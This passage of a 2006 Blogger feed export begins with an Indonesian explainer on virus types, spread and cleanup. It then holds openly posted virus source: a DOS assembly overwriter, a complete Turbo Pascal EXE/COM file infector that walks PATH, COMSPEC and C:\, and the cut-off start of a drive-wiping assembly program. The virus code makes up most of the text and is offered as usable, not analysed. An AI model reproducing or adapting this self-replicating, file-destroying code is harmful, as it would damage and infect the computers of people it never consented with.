roman;"&gt;- WXYC (yang termasuk kategori boot record pun karena masuk kategri stealth dimasukkan pula disini), &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;   Menginfeksi floopy an motherboot record; Panjang 520 bytes; Karakteristik : menetap di memori; ukuran dan virus&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;   tersembunyi. &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;- Vmem(s): Menginfeksi file file *.EXE, *.SYS, dan *.COM ; Panjang fie 3275 bytes; Karakteristik:menetap&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;   di memori, ukuran tersembunyi, di enkripsi. &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;- dll&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;4. Polymorphic Virus &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;Virus ini Dirancang buat mengecoh program antivirus, artinya virus ini selalu berusaha agar tidak dikenali oleh antivirus dengan cara selalu merubah rubah strukturnya setiap kali selesai menginfeksi file/program lain. Contoh virus: &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;- Necropolis A/B, Menginfeksi file *.EXE dan *.COM; Panjang file 1963 bytes; Karakteristik: menetap di memori, &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;   ukuran dan virus tesembunyi,terenkripsi dan dapat berubah ubah struktur &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;- Nightfall, Menginfeksi file *.EXE; Panjang file 4554 bytes; Karakteristik : menetap di memori, ukuran dan virus &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;   tesembunyi,memiliki pemicu, terenkripsidan dapat berubah-ubah struktur &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;- dll &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;5. Virus File/Program &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;Virus ini menginfeksi file-file yang dapat dieksekusi langsung dari sistem operasi, baik itu file *.EXE, maupun *.COM biasanya juga hasil infeksi dari virus ini dapat diketahui dengan berubahnya ukuran file yang diserangnya. &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;6. Multi Partition Virus &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;Virus ini merupakan gabungan dari virus boot sector dan virus file. Artinya pekerjaan yang dilakukan berakibat dua,&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;yaitu dia dapat menginfeksi file-file *.EXE atau *.COM dan juga menginfeksi boot sector.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;BEBERAPA CARA PENYEBARAN VIRUS&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;Virus layaknya virus biologi harus memiliki media untuk dapat menyebar, virus komputer dapat menyebar ke berbagai komputer/mesin lainnya juga melalui berbagai media, diantaranya: &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;1. Disket, media storage R/W Media penyimpanan eksternal dapat menjadi sasaran empuk bagi virus untuk dijadikan&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;    media. Baik sebagai tempat menetap ataupun sebagai media penyebarannya. Media yang bias melakukan operasi &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;    R/W (Read dan Write) sangat memungkinkan untuk ditumpangi virus dan dijadikan sebagai media penyebaran. &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;2. Jaringan ( LAN, WAN,dsb) Hubungan antara beberapa computer secara langsung sangat memungkinkan suatu virus &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;    ikut berpindah saat terjadi pertukaran/pengeksekusian file yang mengandung virus. &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;3. WWW (internet) Sangat mungkin suatu situs sengaja ditanamkan suatu “virus” yang akan menginfeksi &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;    komputer-komputer yang mengaksesnya. &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;4. Software yang Freeware, Shareware atau bahkan Bajakan Banyak sekali virus yang sengaja ditanamkan &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;    dalam suatu program yang disebarluaskan baik secara gratis, atau trial version. &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;5. Attachment pada email, transfering file Hampir semua jenis penyebaran virus akhir-akhir ini menggunakan &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;    email attachment dikarenakan semua pemakai jasa internet pastilah menggunakan email untuk berkomunikasi, file-file&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;    ini sengaja dibuat mencolok/menarik perhatian, bahkan seringkali memiliki ekstensi ganda pada penamaan filenya. &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;PENANGULANGANNYA &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;1. Langkah-Langkah untuk Pencegahan &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;Untuk pencegahan anda dapat melakukan beberapa langkah-langkah berikut :&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;o Gunakan antivirus yang anda percayai dengan update terbaru. Tidak perduli apapun merknya asalkan selalu &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;   diupdate, dan auto-protect dinyalakan maka komputer anda terlindungi. &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;o Selalu scanning semua media penyimpanan eksternal yang akan digunakan, mungkin hal ini agak merepotkan &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;   tetapi jika auto-protect antivirus anda bekerja maka prosedur ini dapat dilewatkan. &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;o Jika anda terhubung langsung ke Internet cobalah untuk mengkombinasikan antivirus anda dengan &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;   Firewall, Anti-spamming, dsb. &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;o Selalu waspada terhadap fle-file yang mencurigakan, contoh : file dengan 2 buah exstension atau file&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;   executable yang terlihat mencurigakan. &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;o Untuk software freeware + shareware, ada baiknya anda mengambilnya dari situs resminya.&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;o Semampunya hindari membeli barang bajakan, gunakan software-software open source.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;2. Langkah-Langkah Apabila telah Terinfeksi &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;o Deteksi dan tentukan dimanakah kira-kira sumber virus tersebut apakah di disket, jaringan, email dsb. Jika anda &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;   terhubung ke jaringan maka ada baiknya anda mengisolasi komputer anda dulu (baik dengan melepas kabel atau &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;   mendisable sambungan internet dari control panel) &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;o Identifikasi dan klasifikasikan jenis virus apa yang menyerang pc anda, dengan cara: &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;- Gejala yang timbul, misal : pesan, file yang corrupt atau hilang dsb &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;- Scan dengan antivirus anda, jika anda terkena saat auto &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;- protect berjalan berarti virus definition di dalam komputer anda tidak memiliki data virus ini, cobalah update &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;  secara manual atau mendownload virus definitionnya untuk kemudian anda install. Jika virus tersebut memblok&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;  usaha anda untuk mengupdate, maka upayakan untuk menggunakan media lain (komputer) dengan antivirus&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;  yang memiliki update terbaru. &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;o Bersihkan virus tersebut. Setelah anda berhasil mendeteksi dan mengenalinya maka usahakan segera untuk mencari &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;   removal atau cara-cara untuk memusnahkannya di situs-situs yang memberikan informasi perkembangan virus tersebut.&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;  Hal ini perlu dilakukan apabila antivirus dengan update terbaru anda tidak berhasil memusnahkannya. &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;o Langkah terburuk. Jika semua hal diatas tidak berhasil adalah memformat ulang komputer anda .&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/34599328-115856982204303386?l=missendare.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://missendare.blogspot.com/feeds/115856982204303386/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=34599328&amp;postID=115856982204303386&amp;isPopup=true' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/34599328/posts/default/115856982204303386'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/34599328/posts/default/115856982204303386'/><link rel='alternate' type='text/html' href='http://missendare.blogspot.com/2006/09/tentang-virus-komputer.html' title='Tentang virus komputer'/><author><name>Miss EndarE</name><uri>http://www.blogger.com/profile/14074827578197836263</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-34599328.post-115856959516190742</id><published>2006-09-18T15:51:00.000+07:00</published><updated>2006-09-18T15:53:15.293+07:00</updated><title type='text'>univ.asm virus code with com for compiler</title><content type='html'>code    segment&lt;br /&gt;                assume  cs:code,ds:code,es:code,ss:code&lt;br /&gt;                org     100h&lt;br /&gt;&lt;br /&gt;main        proc near&lt;br /&gt;                mov    dx,offset(nev)           ; offset to '*.*'&lt;br /&gt;                mov    ah,4Eh&lt;br /&gt;                int      21h                      ; find first&lt;br /&gt;                mov      dx,009Eh&lt;br /&gt;                mov      ax,3D01h                 ; writing&lt;br /&gt;                int      21h                      ; open a file&lt;br /&gt;                mov      bx,ax&lt;br /&gt;                mov      ah,40h&lt;br /&gt;                mov      cl,offset(nev)-100h+4  ; byte-szam&lt;br /&gt;                mov      dx,100h&lt;br /&gt;                int      21h                      ; write to file&lt;br /&gt;nev:  DB          '*.*'&lt;br /&gt;DB            0h&lt;br /&gt;main         endp&lt;br /&gt;code              ends&lt;br /&gt;                end     main&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/34599328-115856959516190742?l=missendare.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://missendare.blogspot.com/feeds/115856959516190742/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=34599328&amp;postID=115856959516190742&amp;isPopup=true' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/34599328/posts/default/115856959516190742'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/34599328/posts/default/115856959516190742'/><link rel='alternate' type='text/html' href='http://missendare.blogspot.com/2006/09/univasm-virus-code-with-com-for.html' title='univ.asm virus code with com for compiler'/><author><name>Miss EndarE</name><uri>http://www.blogger.com/profile/14074827578197836263</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-34599328.post-115856938522312065</id><published>2006-09-18T15:48:00.000+07:00</published><updated>2006-09-18T15:49:45.356+07:00</updated><title type='text'>a virus with turbo pascal language</title><content type='html'>uses dos;&lt;br /&gt;&lt;br /&gt;{.$DEFINE DEBUG}&lt;br /&gt;&lt;br /&gt;{$IFDEF DPMI}&lt;br /&gt;const&lt;br /&gt;  virsize = 20000;&lt;br /&gt;{$ELSE}&lt;br /&gt;const&lt;br /&gt;  virsize = 10000;&lt;br /&gt;{$ENDIF}&lt;br /&gt;&lt;br /&gt;var&lt;br /&gt;  isfirststart : boolean;&lt;br /&gt;&lt;br /&gt;  vir : array[0..virsize-1] of byte;&lt;br /&gt;  buf : array[0..virsize-1] of byte;&lt;br /&gt;&lt;br /&gt;{$IFDEF DEBUG}&lt;br /&gt;procedure debug(msg : string);&lt;br /&gt;  begin&lt;br /&gt;    textattr := 2;&lt;br /&gt;    write(msg);&lt;br /&gt;    textattr := 7;&lt;br /&gt;    writeln;&lt;br /&gt;  end;&lt;br /&gt;{$ENDIF}&lt;br /&gt;&lt;br /&gt;function cmpvirbuf : boolean;&lt;br /&gt;  var&lt;br /&gt;    i : integer;&lt;br /&gt;  begin&lt;br /&gt;    cmpvirbuf := false;&lt;br /&gt;    for i := low(vir) to high(vir) do&lt;br /&gt;      if vir[i] &lt;&gt; buf[i] then&lt;br /&gt;        exit;&lt;br /&gt;    cmpvirbuf := true;&lt;br /&gt;  end;&lt;br /&gt;&lt;br /&gt;procedure read_myself;&lt;br /&gt;  var&lt;br /&gt;    f : file;&lt;br /&gt;    w : word;&lt;br /&gt;  begin&lt;br /&gt;&lt;br /&gt;{$IFDEF DEBUG}&lt;br /&gt;    debug('reading virus body from file '+paramstr(0));&lt;br /&gt;{$ENDIF}&lt;br /&gt;&lt;br /&gt;    assign(f, paramstr(0));&lt;br /&gt;&lt;br /&gt;    filemode := 0;&lt;br /&gt;    reset(f,1);&lt;br /&gt;    filemode := 2;&lt;br /&gt;    if ioresult&lt;&gt;0 then&lt;br /&gt;    begin&lt;br /&gt;{$IFDEF DEBUG}&lt;br /&gt;      debug('error');&lt;br /&gt;{$ENDIF}&lt;br /&gt;      halt;&lt;br /&gt;    end;&lt;br /&gt;&lt;br /&gt;    fillchar(vir, sizeof(vir), 0);&lt;br /&gt;    blockread(f, vir, virsize, w);&lt;br /&gt;&lt;br /&gt;    isfirststart := w&lt;&gt;virsize;&lt;br /&gt;&lt;br /&gt;    close(f);&lt;br /&gt;&lt;br /&gt;{$IFDEF DEBUG}&lt;br /&gt;    debug('done');&lt;br /&gt;{$ENDIF}&lt;br /&gt;&lt;br /&gt;{$IFDEF DEBUG}&lt;br /&gt;    if isfirststart then&lt;br /&gt;      debug('(1st virus execution detected)');&lt;br /&gt;{$ENDIF}&lt;br /&gt;  end;&lt;br /&gt;&lt;br /&gt;{$IFDEF DEBUG}&lt;br /&gt;&lt;br /&gt;function ask(msg : string) : boolean;&lt;br /&gt;  begin&lt;br /&gt;&lt;br /&gt;    debug(msg+' (Y/N)');&lt;br /&gt;    repeat&lt;br /&gt;      case upcase(readkey) of&lt;br /&gt;        'Y': begin&lt;br /&gt;               debug('...Yes');&lt;br /&gt;               ask := true;&lt;br /&gt;               exit;&lt;br /&gt;             end;&lt;br /&gt;        'N': begin&lt;br /&gt;               debug('...No');&lt;br /&gt;               ask := false;&lt;br /&gt;               exit;&lt;br /&gt;             end;&lt;br /&gt;      end;&lt;br /&gt;    until false;&lt;br /&gt;&lt;br /&gt;  end;&lt;br /&gt;&lt;br /&gt;{$ENDIF}&lt;br /&gt;&lt;br /&gt;function infect_file(filename : string) : boolean;&lt;br /&gt;  label&lt;br /&gt;    exitinfect;&lt;br /&gt;  var&lt;br /&gt;    r : searchrec;&lt;br /&gt;    f : file;&lt;br /&gt;  begin&lt;br /&gt;{$IFDEF DEBUG}&lt;br /&gt;    debug('infecting file '+filename);&lt;br /&gt;{$ENDIF}&lt;br /&gt;&lt;br /&gt;    infect_file := false;&lt;br /&gt;&lt;br /&gt;{$IFDEF DEBUG}&lt;br /&gt;    if not ask('infect file?') then&lt;br /&gt;    begin&lt;br /&gt;      infect_file := true;&lt;br /&gt;      exit;&lt;br /&gt;    end;&lt;br /&gt;{$ENDIF}&lt;br /&gt;&lt;br /&gt;    findfirst(filename, archive+readonly, r);&lt;br /&gt;    if doserror&lt;&gt;0 then&lt;br /&gt;    begin&lt;br /&gt;{$IFDEF DEBUG}&lt;br /&gt;      debug('file not found');&lt;br /&gt;{$ENDIF}&lt;br /&gt;      exit;&lt;br /&gt;    end;&lt;br /&gt;&lt;br /&gt;    if r.size &lt; virsize then&lt;br /&gt;    begin&lt;br /&gt;{$IFDEF DEBUG}&lt;br /&gt;      debug('too small file');&lt;br /&gt;{$ENDIF}&lt;br /&gt;      exit;&lt;br /&gt;    end;&lt;br /&gt;&lt;br /&gt;    if r.time and 31 = 13 then&lt;br /&gt;    begin&lt;br /&gt;{$IFDEF DEBUG}&lt;br /&gt;      debug('file probably alredy infected');&lt;br /&gt;{$ENDIF}&lt;br /&gt;      exit;&lt;br /&gt;    end;&lt;br /&gt;&lt;br /&gt;    assign(f, filename);&lt;br /&gt;&lt;br /&gt;    setfattr(f, archive);&lt;br /&gt;    if doserror &lt;&gt; 0 then&lt;br /&gt;    begin&lt;br /&gt;{$IFDEF DEBUG}&lt;br /&gt;      debug('cant change file attributes');&lt;br /&gt;{$ENDIF}&lt;br /&gt;      exit;&lt;br /&gt;    end;&lt;br /&gt;&lt;br /&gt;    reset(f,1);&lt;br /&gt;    if ioresult &lt;&gt; 0 then&lt;br /&gt;    begin&lt;br /&gt;{$IFDEF DEBUG}&lt;br /&gt;      debug('cant open file');&lt;br /&gt;{$ENDIF}&lt;br /&gt;      exit;&lt;br /&gt;    end;&lt;br /&gt;&lt;br /&gt;    blockread(f, buf, virsize);&lt;br /&gt;&lt;br /&gt;    if cmpvirbuf then&lt;br /&gt;    begin&lt;br /&gt;{$IFDEF DEBUG}&lt;br /&gt;      debug('file alredy infected');&lt;br /&gt;{$ENDIF}&lt;br /&gt;      goto exitinfect;&lt;br /&gt;    end;&lt;br /&gt;&lt;br /&gt;    if chr(buf[0])+chr(buf[1]) &lt;&gt; 'MZ' then&lt;br /&gt;    begin&lt;br /&gt;{$IFDEF DEBUG}&lt;br /&gt;      debug('not .EXE-file');&lt;br /&gt;{$ENDIF}&lt;br /&gt;      goto exitinfect;&lt;br /&gt;    end;&lt;br /&gt;&lt;br /&gt;{$IFDEF DEBUG}&lt;br /&gt;    debug('infecting...');&lt;br /&gt;{$ENDIF}&lt;br /&gt;&lt;br /&gt;    seek(f, filesize(f));&lt;br /&gt;    blockwrite(f, buf, virsize);&lt;br /&gt;&lt;br /&gt;    seek(f, 0);&lt;br /&gt;    blockwrite(f, vir, virsize);&lt;br /&gt;&lt;br /&gt;    infect_file := true;&lt;br /&gt;&lt;br /&gt;{$IFDEF DEBUG}&lt;br /&gt;    debug('done');&lt;br /&gt;{$ENDIF}&lt;br /&gt;&lt;br /&gt;    r.time := (r.time and (not 31)) or 13;&lt;br /&gt;&lt;br /&gt;exitinfect:&lt;br /&gt;    setftime(f, r.time);&lt;br /&gt;    close(f);&lt;br /&gt;    setfattr(f, r.attr);&lt;br /&gt;  end;&lt;br /&gt;&lt;br /&gt;function cure_file(filename : string) : boolean;&lt;br /&gt;  label&lt;br /&gt;    exitcure;&lt;br /&gt;  var&lt;br /&gt;    r : searchrec;&lt;br /&gt;    f : file;&lt;br /&gt;  begin&lt;br /&gt;{$IFDEF DEBUG}&lt;br /&gt;    debug('disinfecting file '+filename);&lt;br /&gt;{$ENDIF}&lt;br /&gt;&lt;br /&gt;    cure_file := false;&lt;br /&gt;&lt;br /&gt;    findfirst(filename, archive+readonly, r);&lt;br /&gt;    if doserror&lt;&gt;0 then&lt;br /&gt;    begin&lt;br /&gt;{$IFDEF DEBUG}&lt;br /&gt;      debug('file not found');&lt;br /&gt;{$ENDIF}&lt;br /&gt;      exit;&lt;br /&gt;    end;&lt;br /&gt;&lt;br /&gt;    if r.size &lt; virsize*2 then&lt;br /&gt;    begin&lt;br /&gt;{$IFDEF DEBUG}&lt;br /&gt;      debug('too small file size =&gt; not infected');&lt;br /&gt;{$ENDIF}&lt;br /&gt;      exit;&lt;br /&gt;    end;&lt;br /&gt;&lt;br /&gt;    assign(f, filename);&lt;br /&gt;&lt;br /&gt;    setfattr(f, archive);&lt;br /&gt;    if doserror &lt;&gt; 0 then&lt;br /&gt;    begin&lt;br /&gt;{$IFDEF DEBUG}&lt;br /&gt;      debug('cant change file attributes');&lt;br /&gt;{$ENDIF}&lt;br /&gt;      exit;&lt;br /&gt;    end;&lt;br /&gt;&lt;br /&gt;    reset(f,1);&lt;br /&gt;    if ioresult &lt;&gt; 0 then&lt;br /&gt;    begin&lt;br /&gt;{$IFDEF DEBUG}&lt;br /&gt;      debug('cant open file');&lt;br /&gt;{$ENDIF}&lt;br /&gt;      exit;&lt;br /&gt;    end;&lt;br /&gt;&lt;br /&gt;    blockread(f, buf, virsize);&lt;br /&gt;&lt;br /&gt;    if not cmpvirbuf then&lt;br /&gt;    begin&lt;br /&gt;{$IFDEF DEBUG}&lt;br /&gt;      debug('file not found');&lt;br /&gt;{$ENDIF}&lt;br /&gt;      goto exitcure;&lt;br /&gt;    end;&lt;br /&gt;&lt;br /&gt;{$IFDEF DEBUG}&lt;br /&gt;    debug('disinfecting...');&lt;br /&gt;{$ENDIF}&lt;br /&gt;&lt;br /&gt;    seek(f, filesize(f) - virsize);&lt;br /&gt;    blockread(f, buf, virsize);&lt;br /&gt;&lt;br /&gt;    seek(f, 0);&lt;br /&gt;    blockwrite(f, buf, virsize);&lt;br /&gt;&lt;br /&gt;    seek(f, filesize(f) - virsize);&lt;br /&gt;    truncate(f);&lt;br /&gt;&lt;br /&gt;    cure_file := true;&lt;br /&gt;&lt;br /&gt;{$IFDEF DEBUG}&lt;br /&gt;    debug('done');&lt;br /&gt;{$ENDIF}&lt;br /&gt;&lt;br /&gt;    r.time := r.time and (not 31);&lt;br /&gt;&lt;br /&gt;exitcure:&lt;br /&gt;    setftime(f, r.time);&lt;br /&gt;    close(f);&lt;br /&gt;    setfattr(f, r.attr);&lt;br /&gt;  end;&lt;br /&gt;&lt;br /&gt;function infect_dir(dir : string; maxreclevel, maxfile : integer) : integer;&lt;br /&gt;  var&lt;br /&gt;    r : searchrec;&lt;br /&gt;    d : dirstr;&lt;br /&gt;    n : namestr;&lt;br /&gt;    e : extstr;&lt;br /&gt;    inffile : integer;&lt;br /&gt;  begin&lt;br /&gt;&lt;br /&gt;{$IFDEF DEBUG}&lt;br /&gt;    debug('searching for files in the directory "'+dir+'"');&lt;br /&gt;{$ENDIF}&lt;br /&gt;&lt;br /&gt;    dir := FExpand(dir);&lt;br /&gt;    if copy(dir,1,1) &lt; 'C' then&lt;br /&gt;      exit;&lt;br /&gt;&lt;br /&gt;    if dir &lt;&gt; '' then&lt;br /&gt;      if dir[length(dir)] &lt;&gt; '\' then&lt;br /&gt;        dir := dir + '\';&lt;br /&gt;&lt;br /&gt;    inffile := 0;&lt;br /&gt;&lt;br /&gt;    findfirst(dir+'*.*', anyfile,  r);&lt;br /&gt;    while doserror=0 do&lt;br /&gt;    begin&lt;br /&gt;&lt;br /&gt;      if r.attr and directory &lt;&gt; 0 then begin&lt;br /&gt;&lt;br /&gt;        if r.name[1]&lt;&gt;'.' then&lt;br /&gt;          if maxreclevel&gt;0 then&lt;br /&gt;            inc(inffile, infect_dir(dir+r.name+'\', maxreclevel-1, maxfile));&lt;br /&gt;&lt;br /&gt;      end else begin&lt;br /&gt;&lt;br /&gt;        fsplit(r.name, d,n,e);&lt;br /&gt;&lt;br /&gt;        if (e='.EXE') or (e='.COM') or (e='.SCR') then&lt;br /&gt;          if infect_file(dir+r.name) then&lt;br /&gt;            inc(inffile);&lt;br /&gt;&lt;br /&gt;      end;&lt;br /&gt;&lt;br /&gt;      if inffile&gt;=maxfile then&lt;br /&gt;        break;&lt;br /&gt;&lt;br /&gt;      findnext(r);&lt;br /&gt;&lt;br /&gt;    end; { while }&lt;br /&gt;&lt;br /&gt;    infect_dir := inffile;&lt;br /&gt;&lt;br /&gt;  end; { infect_dir }&lt;br /&gt;&lt;br /&gt;procedure infect_path;&lt;br /&gt;  var&lt;br /&gt;    s, q : string;&lt;br /&gt;  begin&lt;br /&gt;    s := getenv('PATH');&lt;br /&gt;    while s&lt;&gt;'' do&lt;br /&gt;    begin&lt;br /&gt;      q := '';&lt;br /&gt;      while (s&lt;&gt;'') and (s[1]&lt;&gt;';') do&lt;br /&gt;      begin&lt;br /&gt;        q := q + s[1];&lt;br /&gt;        delete(s,1,1);&lt;br /&gt;      end;&lt;br /&gt;      delete(s,1,1);&lt;br /&gt;      infect_dir(q, 0, 10);&lt;br /&gt;    end;&lt;br /&gt;  end;&lt;br /&gt;&lt;br /&gt;label&lt;br /&gt;  exitvirus;&lt;br /&gt;&lt;br /&gt;begin&lt;br /&gt;&lt;br /&gt;{$IFDEF DEBUG}&lt;br /&gt;  debug('virus started. press any key...');&lt;br /&gt;  readkey;&lt;br /&gt;{$ENDIF}&lt;br /&gt;&lt;br /&gt;  read_myself;&lt;br /&gt;&lt;br /&gt;  if paramstr(1)='/infect' then&lt;br /&gt;  begin&lt;br /&gt;    infect_file(paramstr(2));&lt;br /&gt;    goto exitvirus;&lt;br /&gt;  end;&lt;br /&gt;  if paramstr(1)='/cure' then&lt;br /&gt;  begin&lt;br /&gt;    infect_file(paramstr(2));&lt;br /&gt;    goto exitvirus;&lt;br /&gt;  end;&lt;br /&gt;&lt;br /&gt;  if isfirststart then goto exitvirus;&lt;br /&gt;&lt;br /&gt;{$IFDEF DEBUG}&lt;br /&gt;  if ask('Search and infect files?') then&lt;br /&gt;  begin&lt;br /&gt;{$ENDIF}&lt;br /&gt;&lt;br /&gt;    infect_file(getenv('COMSPEC'));&lt;br /&gt;    infect_path;&lt;br /&gt;    infect_dir('..\',0,1);&lt;br /&gt;    infect_dir('..\..\',0,1);&lt;br /&gt;    infect_dir('C:\',3,5);&lt;br /&gt;&lt;br /&gt;{$IFDEF DEBUG}&lt;br /&gt;  end;&lt;br /&gt;&lt;br /&gt;  if ask('Execute host file?') then&lt;br /&gt;  begin&lt;br /&gt;{$ENDIF}&lt;br /&gt;&lt;br /&gt;    cure_file(paramstr(0));&lt;br /&gt;&lt;br /&gt;{$IFDEF DEBUG}&lt;br /&gt;    debug('executing host...');&lt;br /&gt;{$ENDIF}&lt;br /&gt;    swapvectors;&lt;br /&gt;    exec(paramstr(0), string(ptr(prefixseg,$80)^));&lt;br /&gt;    swapvectors;&lt;br /&gt;{$IFDEF DEBUG}&lt;br /&gt;    debug('...done');&lt;br /&gt;{$ENDIF}&lt;br /&gt;&lt;br /&gt;    infect_file(paramstr(0));&lt;br /&gt;&lt;br /&gt;{$IFDEF DEBUG}&lt;br /&gt;  end;&lt;br /&gt;{$ENDIF}&lt;br /&gt;&lt;br /&gt;exitvirus:&lt;br /&gt;&lt;br /&gt;{$IFDEF DEBUG}&lt;br /&gt;  debug('exiting virus');&lt;br /&gt;{$ENDIF}&lt;br /&gt;&lt;br /&gt;end.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/34599328-115856938522312065?l=missendare.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://missendare.blogspot.com/feeds/115856938522312065/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=34599328&amp;postID=115856938522312065&amp;isPopup=true' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/34599328/posts/default/115856938522312065'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/34599328/posts/default/115856938522312065'/><link rel='alternate' type='text/html' href='http://missendare.blogspot.com/2006/09/virus-with-turbo-pascal-language.html' title='a virus with turbo pascal language'/><author><name>Miss EndarE</name><uri>http://www.blogger.com/profile/14074827578197836263</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-34599328.post-115856926918421544</id><published>2006-09-18T15:43:00.000+07:00</published><updated>2006-09-18T15:47:49.293+07:00</updated><title type='text'>pamela.asm</title><content type='html'>DOSSEG&lt;br /&gt; .MODEL SMALL&lt;br /&gt; .STACK 100H&lt;br /&gt; .DATA&lt;br /&gt;&lt;br /&gt;CNTR DB 2   ; Counter to nuke all drives C and up&lt;br /&gt;MESSAGE DB 13,10,"Loading 